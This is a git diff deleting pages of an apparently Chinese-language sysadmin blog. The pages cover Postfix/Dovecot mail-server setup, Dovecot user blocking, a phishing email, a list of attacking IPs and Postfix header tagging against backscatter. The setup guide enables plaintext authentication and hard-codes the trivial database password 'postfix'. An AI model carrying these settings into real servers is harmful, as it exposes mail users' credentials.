    -dbname = postfix
    -
    -query = SELECT quota FROM mailbox WHERE username='%s' AND active = '1'
    -
    -
    - -
    * * *
    -
    -## **設定Dovecot**
    -
    -#**vim /etc/dovecot/dovecot.conf**
    -> protocols = imap pop3
    -
    - -
    -
    listen = *
    -
    -dict {
    -
    -quota = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext
    -
    -}
    -
    -!include conf.d/*.conf
    -#**vim /etc/dovecot/conf.d/10-auth.conf**
    -> disable_plaintext_auth = no
    -
    -auth_mechanisms = plain login cram-md5
    -
    -!include auth-sql.conf.ext
    -#**vim /etc/dovecot/conf.d/10-mail.conf**
    -> mail_location = maildir:%hMaildir
    -
    -mbox_write_locks = fcntl
    -#**vim /etc/dovecot/conf.d/10-master.conf**
    -> service imap-login {
    -
    -inet_listener imap {
    -
    -}
    -
    -inet_listener imaps {
    -
    -}
    -
    -}
    -
    -service pop3-login {
    -
    -inet_listener pop3 {
    -
    -}
    -
    -inet_listener pop3s {
    -
    -}
    -
    -}
    -
    -service lmtp {
    -
    -unix_listener lmtp {
    -
    -}
    -
    -}
    -
    -service imap {
    -
    -}
    -
    -service pop3 {
    -
    -}
    -
    -service auth {
    -
    -unix_listener auth-userdb {
    -
    -mode = 0600
    -
    -user = vmail
    -
    -group = vmail
    -
    -}
    -
    -#新增
    -
    -unix_listener auth-client {
    -
    -mode = 0600
    -
    -user = postfix
    -
    -group = postfix
    -
    -}
    -
    -}
    -
    -service auth-worker {
    -
    -}
    -
    -service dict {
    -
    -unix_listener dict {
    -
    -mode = 0600
    -
    -user = vmail
    -
    -group = vmail
    -
    -}
    -
    -}
    -&nbsp;
    -
    -
    - -
    #這邊我就沒有設定了
    -#**vim /etc/dovecot/conf.d/15-lda.conf**
    -> protocol lda {
    -
    - -
    -
    mail_plugins = quota
    -
    -postmaster_address = admin@abc.com
    -
    -}
    -&nbsp;
    -
    -
    - -
    #這個也沒有設定
    -#**vim /etc/dovecot/conf.d/20-imap.conf**
    -> protocol imap {
    -
    - -
    -
    mail_plugins = quota imap_quota
    -
    -}
    -#這個有設定,不過沒設定quota
    -#**vim /etc/dovecot/conf.d/20-pop3.conf**
    -> protocol pop3 {
    -
    -pop3_uidl_format = %08Xu%08Xv
    -
    -mail_plugins = quota
    -
    -}
    -#沒有設定
    -#**vim /etc/dovecot/conf.d/90-quota.conf**
    -> plugin {
    -
    -quota_rule = *:storage=1G
    -
    -}
    -
    -plugin {
    -
    -}
    -
    -plugin {
    -
    -quota = dict:User quota::proxy::quota
    -
    -}
    -
    -plugin {
    -
    -}
    -新增Dovecot 的 MYSQL 設定檔
    -
    -
    - -
    #**vim /etc/dovecot/dovecot-sql.conf.ext**
    -> driver = mysql
    -
    - -
    -
    connect = host=localhost dbname=postfix user=postfix password=postfix
    -
    -
    -##原文是用 CRAM-MD5 但是因為我設定錯誤,導致認證失敗,所以我改用MD5-CRYPT
    -
    -
    -default_pass_scheme = MD5-CRYPT
    -
    -#default_pass_scheme = CRAM-MD5
    -
    -user_query = SELECT CONCAT('/var/vmail/', maildir) AS home, 2000 AS uid, 2000 AS gid, CONCAT('*:bytes=', quota) as quota_rule FROM mailbox WHERE username = '%u' AND active='1'
    -
    -password_query = SELECT username AS user, password, CONCAT('/var/vmail/', maildir) AS userdb_home, 2000 AS userdb_uid, 2000 AS userdb_gid, CONCAT('*:bytes=', quota) as userdb_quota_rule FROM mailbox WHERE username = '%u' AND active='1'
    -&nbsp;
    -
    -
    - -
    #**vim /etc/dovecot/dovecot-dict-sql.conf.ext**
    -> connect = host=localhost dbname=postfix user=postfix password=postfix
    -
    - -
    -
    map {
    -
    -pattern = priv/quota/storage
    -
    -table = quota2
    -
    -username_field = username
    -
    -value_field = bytes
    -
    -}
    -
    -map {
    -
    -pattern = priv/quota/messages
    -
    -table = quota2
    -
    -username_field = username
    -
    -value_field = messages
    -
    -}
    -重起 postfix / dovecot 看看有沒有錯誤
    -
    -
    - -
    * * *
    -
    -## 用telnet 測試 SMTP/POP3/IMAP 有沒有錯誤
    -
    -**測試 SMTP**
    -> telnet localhost 25
    -
    - -
    -
    Trying ::1...
    -
    -Connected to localhost.
    -
    -Escape character is '^]'.
    -
    -220 mail.abc.com.tw ESMTP Postfix
    -
    -ehlo me #輸入 ehlo me ,應該會有底下的回應
    -
    -250-mail.abc.com.tw
    -
    -250-PIPELINING
    -
    -250-SIZE 10240000
    -
    -250-VRFY
    -
    -250-ETRN
    -
    -250-AUTH PLAIN LOGIN CRAM-MD5
    -
    -250-AUTH=PLAIN LOGIN CRAM-MD5
    -
    -250-ENHANCEDSTATUSCODES
    -
    -250-8BITMIME
    -
    -250 DSN
    -按 ctrl + ] 離開
    -
    -
    - -
    **測試POP3** ,當然要先用 postfixadmin 建立帳號
    -> telnet localhost 110
    -
    - -
    -
    Trying ::1...
    -
    -telnet: connect to address ::1: Connection refused
    -
    -Trying 127.0.0.1...
    -
    -Connected to localhost.
    -
    -Escape character is '^]'.
    -
    -+OK Dovecot ready.
    -
    -user admin@abc.com #輸入 user mail@address.com 的格式
    -
    -+OK
    -
    -pass password #輸入明文密碼
    -
    -+OK Logged in. #出現OK代表驗證通過
    -按 ctrl + ] 離開
    -
    -
    - -
    **測試 IMAP**
    -> telnet localhost 143
    -
    - -
    -
    Trying ::1...
    -
    -telnet: connect to address ::1: Connection refused
    -
    -Trying 127.0.0.1...
    -
    -Connected to localhost.
    -
    -Escape character is '^]'.
    -
    -* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN AUTH=CRAM-MD5] Dovecot ready.
    -
    -A LOGIN "admin@abc.com" "password" #輸入 A LOGIN "帳號" "密碼" 進行登入測試
    -
    -A OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS MULTIAPPEND UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS] Logged in #成功登入
    -到此,基本郵件設定已經OK
    -
    -
    - -
    * * *
    -
    -UPDATE
    -
    -要發信的時候會發生錯誤
    -
    -要在 main.cf 裡補上這一行
    -> mailbox_command = /usr/libexec/dovecot/deliver
    -這樣才可以
    -
    -* * *
    -
    -接下來要弄 RoundCubeMail  / Letsencrypt
    -
    -yum install roundcubemail
    -
    -修改安裝路徑的目錄擁有者和權限 (所以我說嘛,為啥一開始要把 httpd 的執行者改成 vmail ? )
    -
    -開啟 roundcubemail 登入會發生錯誤
    -
    -LOG裡面有提示
    -
    -PHP Error: Access denied for new user  'auto_create_user' is disabled in /usr/share/roundcubemail/program/include/rcmail.php on line 622 (POST /roundcubemail/?_task=login?_task=login&amp;_action=login)
    -
    -打開這個選項就可以了!
    -
    -* * *
    -
    -Postfix / Dovecot with LETSENCRYPT
    -
    -File: /etc/dovecot/conf.d/10-ssl.conf
    -<pre>`ssl_cert = &lt;/etc/letsencrypt/live/abc.com/fullchain.pem
    -ssl_key = &lt;/etc/letsencrypt/live/abc.com/privkey.pem`</pre>
    -File: /etc/postfix/main.cf
    -<pre>`smtpd_tls_cert_file=/etc/letsencrypt/live/abc.com/fullchain.pem
    -smtpd_tls_key_file=/etc/letsencrypt/live/abc.com/privkey.pem
    -smtpd_use_tls=yes
    -
    - -
    - -

    OUTLOOK 相關設定

    - -

    2016-08-02_08-40-55

    - -

    SMTP 寄信需要驗證

    - -

    2016-08-02_08-41-23

    - -

     

    - -

    IMAP/SMTP 都有加密,也不會跳出提示加密資訊不合法的視窗!

    - -

    2016-08-02_08-41-41

    - -

     

    - -

    2016-08-02_08-48-08

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-cloudstack-e5-80-bc-e5-be-97-e9-97-9c-e6-b3-a8-e7-9a-84-e6-8a-80-e8-a1-93/index.html b/themes/public/article/e7-ad-86-e8-a8-98-cloudstack-e5-80-bc-e5-be-97-e9-97-9c-e6-b3-a8-e7-9a-84-e6-8a-80-e8-a1-93/index.html deleted file mode 100644 index a4abb6b0..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-cloudstack-e5-80-bc-e5-be-97-e9-97-9c-e6-b3-a8-e7-9a-84-e6-8a-80-e8-a1-93/index.html +++ /dev/null @@ -1,411 +0,0 @@ - - - - - - - - - - [筆記] CloudStack 值得關注的技術 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CloudStack 值得關注的技術

    -
    - - - 2015-09-14 - - - - - - - - - 未分類 - - - - - -
    - - -

    CloudStack 是前兩年發展的 IaaS (基礎架構即服務)技術

    - -

    最早是由VMOps公司開發,後來整間被 Citrix 買走( Citrix 自己有XenCenter啊,為何要買類似的技術?)

    - -

    沒多久,Citrix 就把這個CloudStack Apache 軟體基金會,成為open source 軟體

    - -

    經過這兩三年的發展,現在慢慢的邁入「堪用」階段,值得花點心力關注一下 CloudStack & OpenStack 接下來的發展

    - -

    究竟有沒有機會幹掉 VMWARE ESX 成為伺服器虛擬化的要角呢?

    - -

    讓我們繼續看下去~~~

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-denyhosts-whitelist-allowed-hosts/index.html b/themes/public/article/e7-ad-86-e8-a8-98-denyhosts-whitelist-allowed-hosts/index.html deleted file mode 100644 index e615cd69..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-denyhosts-whitelist-allowed-hosts/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [筆記] Denyhosts Whitelist allowed-hosts | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-dovecot-e6-8b-92-e7-b5-95-e7-89-b9-e5-ae-9a-e4-bd-bf-e7-94-a8-e8-80-85-e9-80-a3-e7-b7-9aimappop3-reject-specified-user-connect-imappop3-dovecot/index.html b/themes/public/article/e7-ad-86-e8-a8-98-dovecot-e6-8b-92-e7-b5-95-e7-89-b9-e5-ae-9a-e4-bd-bf-e7-94-a8-e8-80-85-e9-80-a3-e7-b7-9aimappop3-reject-specified-user-connect-imappop3-dovecot/index.html deleted file mode 100644 index f54ccc64..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-dovecot-e6-8b-92-e7-b5-95-e7-89-b9-e5-ae-9a-e4-bd-bf-e7-94-a8-e8-80-85-e9-80-a3-e7-b7-9aimappop3-reject-specified-user-connect-imappop3-dovecot/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - [筆記] Dovecot 拒絕特定使用者連線IMAP/POP3 / Reject specified user to connect IMAP/POP3 in dovecot | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Dovecot 拒絕特定使用者連線IMAP/POP3 / Reject specified user to connect IMAP/POP3 in dovecot

    -
    - - - 2013-12-02 - - - - - - - - - 未分類 - - - - - -
    - - -
    -
    ref:http://www.linuxsolved.com/forums/index.php?topic=3517.0
    -
    -
    -
    If users having static IP Addresses on their machines, Yes it is possible with iptables. Just apply following command can restrict the user to access POP3 and IMAP:# iptables -t filter -I INPUT -s <user's IP Address> -p tcp --dport 110 -d <mail server IP> -j REJECT (or DROP) -# iptables -t filter -I INPUT -s <user's IP Address> -p tcp --dport 143 -d <mail server IP> -j REJECT (or DROP) - -Dont use Mail server IP in case of mail server hosted on this machine. - -You can also deny the users in pop3 and imap server like if you have dovecot just remove the comment from following lines in dovecot.conf file. Create files and restart dovecot, - -1.) - -
    ->
    passdb passwd-file { -> ->      File contains a list of usernames, one per line -> ->     args = /etc/dovecot.deny -> ->     deny = yes -> ->   }
    -
    2.) Create /etc/dovecot.deny file and add username inside to the file.for more help on dovecot go through the following link : [http://wiki.dovecot.org/Authentication/RestrictAccess](http://wiki.dovecot.org/Authentication/RestrictAccess) - -
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-e4-b9-9f-e8-a2-ab-e6-8b-bf-e4-be-86-e9-a8-99-e5-b8-b3-e8-99-9f-e5-af-86-e7-a2-bc-e4-ba-86/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-e4-b9-9f-e8-a2-ab-e6-8b-bf-e4-be-86-e9-a8-99-e5-b8-b3-e8-99-9f-e5-af-86-e7-a2-bc-e4-ba-86/index.html deleted file mode 100644 index 3c658e2e..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-e4-b9-9f-e8-a2-ab-e6-8b-bf-e4-be-86-e9-a8-99-e5-b8-b3-e8-99-9f-e5-af-86-e7-a2-bc-e4-ba-86/index.html +++ /dev/null @@ -1,411 +0,0 @@ - - - - - - - - - - [筆記] 中華電信也被拿來騙帳號密碼了 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 中華電信也被拿來騙帳號密碼了

    -
    - - - 2015-12-04 - - - - - - - - - 未分類 - - - - - -
    - - -

    剛剛收到的郵件,這是第一次看到以中華電信名義來騙帳號密碼的郵件

    - -

    不過啊……你忘記換成繁體字了啦!

    - -

    最好中華電信會用簡體字發信出來給客戶啦~

    - -

    2015-12-04_13-33-45

    - -

    點連結以後,不意外的會開啟一個要你登入帳號密碼的網頁

    - -

    到這邊還會被騙,那也不知道該說啥了…

    - -

    2015-12-04_13-34-14

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-e5-85-89-e4-b8-96-e4-bb-a3-e9-9b-99-e5-90-91100-e9-80-a3google-e6-9c-8d-e5-8b-99-e6-80-aa-e6-80-aa-e7-9a-84/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-e5-85-89-e4-b8-96-e4-bb-a3-e9-9b-99-e5-90-91100-e9-80-a3google-e6-9c-8d-e5-8b-99-e6-80-aa-e6-80-aa-e7-9a-84/index.html deleted file mode 100644 index dde5e8b9..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-e5-85-89-e4-b8-96-e4-bb-a3-e9-9b-99-e5-90-91100-e9-80-a3google-e6-9c-8d-e5-8b-99-e6-80-aa-e6-80-aa-e7-9a-84/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [筆記]中華電信光世代雙向100 連google服務怪怪的 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]中華電信光世代雙向100 連google服務怪怪的

    -
    - - - 2013-10-14 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這兩天發現在google搜尋列直接打關鍵字搜尋,常常會網頁一開就好久,最後導致逾時的情況。

    - -

    開youtube也是影片LOAD好久。

    - -

    但是又不是一直都這樣,一下正常一下有問題。

    - -

    看了一下防火牆上的流量圖,流量也都很低呀,感覺連線怪怪的。

    - -

    如果把搜尋引擎換成yahoo/hinet等等,就不會有這種狀況,可能要來跟中華電信報修看看。

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e4-bb-8a-e6-97-a5-e6-94-bb-e6-93-8a-ip/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e4-bb-8a-e6-97-a5-e6-94-bb-e6-93-8a-ip/index.html deleted file mode 100644 index 2ef5905e..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e4-bb-8a-e6-97-a5-e6-94-bb-e6-93-8a-ip/index.html +++ /dev/null @@ -1,542 +0,0 @@ - - - - - - - - - - [筆記] 攻擊 IP | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 攻擊 IP

    -
    - - - 2013-11-07 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    2013/12/13

    - -

    1.85.41.122 -109.169.40.167 -110.208.181.72 -111.193.125.255 -111.206.128.187 -111.207.17.36 -111.250.100.213 -111.67.197.7 -112.67.118.1916 -112.81.2.221 -113.104.249.251 -113.119.41.4 -113.122.212.18216 -113.240.4.18316 -113.244.236.8116 -113.247.26.6016 -114.112.190.1616 -114.219.175.3324 -114.249.86.2124 -114.54.1.242 -114.80.207.166 -114.97.99.191 -114.99.20.214 -116.11.252.198 -116.21.128.7216 -116.25.251.27 -117.158.2.74 -117.23.233.156 -117.79.91.230 -118.119.125.119 -118.123.11.51 -118.186.156.29 -12.131.227.140 -12.234.218.138 -121.127.248.197 -121.35.143.246 -121.35.164.203 -121.35.52.86 -121.35.54.192 -122.193.73.140 -124.205.206.161 -124.73.107.199 -124.73.86.199 -125.76.246.21 -125.89.61.22 -139.226.145.66 -14.150.37.145 -162.221.184.147 -173.219.32.32 -175.0.185.22 -175.25.242.2124 -175.41.41.189 -175.8.24.183 -176.61.139.183 -180.127.163.100 -182.37.152.15416 -182.52.233.38 -183.0.168.235 -183.0.171.75 -183.0.186.190 -183.0.197.95 -183.10.197.36 -183.13.214.122 -183.13.244.191 -183.2.138.161 -183.60.99.14616 -184.22.11.1116 -184.70.64.3424 -192.210.48.4 -192.3.171.85 -199.114.241.42 -199.114.246.190 -199.192.152.2716 -200.178.189.91 -202.146.217.130 -207.231.214.131 -211.140.160.194 -211.167.112.194 -211.91.220.10416 -217.160.6.81 -218.65.221.84 -218.68.6.87 -218.76.10.34 -219.150.39.190 -220.174.188.42 -221.130.14.88 -222.126.168.324 -222.240.53.109 -222.244.222.55 -223.144.110.56 -223.198.97.70 -223.199.128.13816 -223.241.160.10416 -23.231.4.80 -27.24.141.45 -27.37.139.92 -27.37.203.146 -31.28.147.141 -37.99.71.173 -41.82.16.196 -42.49.210.8816 -46.149.111.93 -46.19.97.174 -46.29.255.161 -5.199.170.106 -50.202.171.113 -50.74.20.13 -58.250.94.210 -58.54.204.236 -58.56.136.163 -58.61.222.171 -58.62.24.231 -59.188.244.53 -59.50.58.8616 -60.166.5.156 -61.129.51.222 -61.140.38.79 -64.140.223.11 -66.168.170.55 -68.190.17.99 -74.205.54.149 -74.7.114.202 -83.242.255.16 -84.52.64.125 -89.165.117.61 -89.171.32.58 -89.188.122.254 -96.126.126.30 -97.64.150.7 -98.126.1.154 -80.255.3.82 -212.67.215.178 -176.61.139.119 -173.18.176.254 -68.248.41.221 -64.199.111.26 -207.198.125.242 -119.224.20.236 -218.107.8.195 -61.129.185.229 -58.54.18.116 -91.143.69.232 -92.62.123.123 -115.58.133.151

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e4-bf-ae-e6-94-b9iredmail-e7-9a-84-postfix-e5-9c-a8mail-header-e5-8a-a0-e5-85-a5-e8-87-aa-e8-a8-82-e7-9a-84-tag/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e4-bf-ae-e6-94-b9iredmail-e7-9a-84-postfix-e5-9c-a8mail-header-e5-8a-a0-e5-85-a5-e8-87-aa-e8-a8-82-e7-9a-84-tag/index.html deleted file mode 100644 index 58d2c8e2..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e4-bf-ae-e6-94-b9iredmail-e7-9a-84-postfix-e5-9c-a8mail-header-e5-8a-a0-e5-85-a5-e8-87-aa-e8-a8-82-e7-9a-84-tag/index.html +++ /dev/null @@ -1,605 +0,0 @@ - - - - - - - - - - [筆記] 修改iredmail 的 postfix 在mail header加入自訂的 tag | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 修改iredmail 的 postfix 在mail header加入自訂的 tag

    -
    - - - 2016-12-19 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前因為公司的MAIL SERVER遭受退信攻擊

    - -

    USER收到非常大量的退信,由於Anti-SPAM的機制目前沒有比較完整的處理方式

    - -

    所以我跟工程師討論之後,提出在現有SPF/DKIM以外,是不是可以在mail header加入一個特定的tag

    - -

    當收到退信,而這封退信的header中沒有包含我設定的tag,那就可以確定這是SPAM,直接丟掉就好

    - -

    可惜的是,現在用的SPAM Gateway沒有這樣的功能,只能直接把account 加入拒收退信名單(有點鴕鳥心態..)

    - -

    - -

    不過有個稽核的機制可以搭配使用,如果我能夠在postfix 中,對於寄出的信件加入tag,那這個稽核機制就可以在信件進來的時候進行檢查

    - -

    假如是退信而且header中包含有tag,就是正常的退信,否則就直接丟掉

    - -

    OK,那就要先來研究怎麼在postfix中,在header加入tag,其實方法很簡單

    - -

    而且這個方法之前在還沒有建置郵件過濾軟體時,就有用來過濾含有病毒的附件

    - -

    只要在postfix的 main.cf 加入 -> header_checks = pcre:/etc/postfix/header_checks -然後修改 /etc/postfix/header_checks 內容如下 -> /^From:.@abc.org./i PREPEND tag: sendfromabcorg -> -> /^From:.@123.com.cn./i PREPEND tag: sendfrom123comcn -語法是正規化表示式,其實我也不太懂,大概的意思是找到From:xxxxx@abc.org 的那一行,在前面加入 tag:sendfromabcorg

    - -

    當然 tag要改成什麼可以自行定義,不同的DOMAIN要分開來寫

    - -

    好了之後,產生db 然後重起postfix -> postmap -f /etc/postfix/header_checks -> -> -> service postfix restart -接著寄出信件測試看看,底下這是我寄到微軟Office 365的信箱的郵件標頭,可以看到微軟自己也加了很多header進去,然後前面提到的SPF & DKIM也都有生效了。

    - -

      -> Received: from HK2PR01MB0785.apcprd01.prod.exchangelabs.com (10.165.54.151) by -> -> KL1PR01MB0789.apcprd01.prod.exchangelabs.com (10.165.16.151) with Microsoft -> -> SMTP Server (version=TLS1_2, -> -> cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.761.9 via Mailbox -> -> Transport; Wed, 14 Dec 2016 05:35:00 +0000 -> -> Received: from SG2PR01CA0069.apcprd01.prod.exchangelabs.com (10.165.10.37) by -> -> HK2PR01MB0785.apcprd01.prod.exchangelabs.com (10.165.54.151) with Microsoft -> -> SMTP Server (version=TLS1_2, -> -> cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.761.9; Wed, 14 Dec -> -> 2016 05:34:58 +0000 -> -> Received: from HK2APC01FT052.eop-APC01.prod.protection.outlook.com -> -> (2a01:111:f400:7ebc::203) by SG2PR01CA0069.outlook.office365.com -> -> (2a01:111:e400:79a7::37) with Microsoft SMTP Server (version=TLS1_2, -> -> cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.761.9 via Frontend -> -> Transport; Wed, 14 Dec 2016 05:34:58 +0000 -> -> Authentication-Results: spf=pass (sender IP is 123.123.123.123) -> ->  smtp.mailfrom=abc.org; def.us; dkim=pass (signature was verified) -> ->  header.d=abc.org;def.us; dmarc=bestguesspass action=none -> ->  header.from=abc.org;def.us; dkim=pass (signature was verified) -> ->  header.d=abc.org; -> -> Received-SPF: Pass (protection.outlook.com: domain of abc.org designates -> ->  123.123.123.123 as permitted sender) receiver=protection.outlook.com; -> ->  client-ip=123.123.123.123; helo=iredmail.abc.org; -> -> Received: from iredmail.abc.org (123.123.123.123) by -> -> HK2APC01FT052.mail.protection.outlook.com (10.152.248.244) with Microsoft -> -> SMTP Server (version=TLS1_2, -> -> cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.761.6 via Frontend -> -> Transport; Wed, 14 Dec 2016 05:34:56 +0000 -> -> X-IncomingTopHeaderMarker: OriginalChecksum:;UpperCasedChecksum:;SizeAsReceived:1619;Count:17 -> -> Received: from iredmail.abc.org (localhost [127.0.0.1]) -> -> by iredmail.abc.org (Postfix) with ESMTP id 55E6441D4A -> -> for <mc@def.us>; Wed, 14 Dec 2016 13:30:51 +0800 (CST) -> -> Authentication-Results: iredmail.abc.org (amavisd-new); -> ->     dkim=pass (1024-bit key) reason=“pass (just generated, assumed good)” -> ->     header.d=abc.org -> -> DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=abc.org; h= -> ->     user-agent:message-id:subject:subject:to:from:from:date:date -> ->     :content-transfer-encoding:content-type:content-type -> ->     :mime-version; s=dkim; t=1481693448; x=1482557449; bh=t1I5qi5Iyz -> ->     cB1IzeIAdCFQ+GnzUuHHMeCINT2eeH7dQ=; b=S789EtkuZDA2JbKpApkW+Spe3L -> ->     epmjIgdyA7AigMyYfAzK5DD2fbiIZ41o0dPYhO7+KNo8KA/P2ncUPdGLHqPAGmWC -> ->     rqfHf+lNSGVAUf5nJ6+eOYqmLyBFwh8EBC3gsH4P7OXo99HEemTc7ehhBNSfBnvQ -> ->     NcqEPVvrugB7xjc0c= -> -> X-Virus-Scanned: amavisd-new at iredmail.abc.org -> -> Received: from iredmail.abc.org ([127.0.0.1]) -> -> by iredmail.abc.org (iredmail.abc.org [127.0.0.1]) (amavisd-new, port 10026) -> -> with ESMTP id q6WPshsekkVi for <mc@def.us>; -> -> Wed, 14 Dec 2016 13:30:48 +0800 (CST) -> -> Received: from iredmail.abc.org (localhost [127.0.0.1]) -> -> by iredmail.abc.org (Postfix) with ESMTPSA id E302341995 -> -> for <mc@def.us>; Wed, 14 Dec 2016 13:30:47 +0800 (CST) -> -> MIME-Version: 1.0 -> -> Content-Type: text/plain; charset=“US-ASCII”; format=flowed -> -> Content-Transfer-Encoding: 7bit -> -> Date: Wed, 14 Dec 2016 13:30:47 +0800 -> -> tag: sendfromabcorg -> -> From: mc@abc.org -> -> To: mc@def.org -> -> Subject: DKIM and SPF Test -> -> Message-ID: <cec6f4052e6853c945fbe7b1401dac7e@abc.org> -> -> X-Sender: mc@abc.org -> -> X-Sender: mc@abc.org -> -> -> User-Agent: Roundcube Webmail -> -> X-IncomingHeaderCount: 17 -> -> Return-Path: mc@abc.org -> -> X-MS-Exchange-Organization-Network-Message-Id: 9edc853e-86cc-4b50-2a64-08d423e2f07d -> -> X-EOPAttributedMessage: 0 -> -> X-EOPTenantAttributedMessage: 70116e8e-9694-4e77-924c-3e6cb9fdebb2:0 -> -> X-MS-Exchange-Organization-MessageDirectionality: Incoming -> -> X-Forefront-Antispam-Report: CIP:123.123.123.123;IPV:NLI;CTRY:TW;EFV:NLI;SFV:NSPM;SFS:(6009001)(8196002)(2990300002)(438002)(199003)(189002)(2160300002)(230700001)(47776003)(558084003)(450100001)(54356999)(3480700004)(108616004)(588024002)(3250700002)(77096006)(33646002)(38730400001)(50986999)(92566002)(50466002)(83506001)(76506005)(356003)(53416004)(956001)(305945005)(1096003)(106466001)(85782001)(8896002)(81166006)(81156014)(55920200001)(2361001)(8676002)(2810700001)(189998001)(2351001)(93046001)(23726003)(236004)(86362001)(5660300001)(626004)(6916009)(24736003)(4270600005)(110136003)(107886002)(7126002)(4001350100001)(36756003)(69596002)(7099028)(85772001);DIR:INB;SFP:;SCL:1;SRVR:HK2PR01MB0785;H:iredmail.abc.org;FPR:;SPF:Pass;PTR:60-251-177-4.HINET-IP.hinet.net;A:1;MX:1;LANG:en; -> -> X-Microsoft-Exchange-Diagnostics: 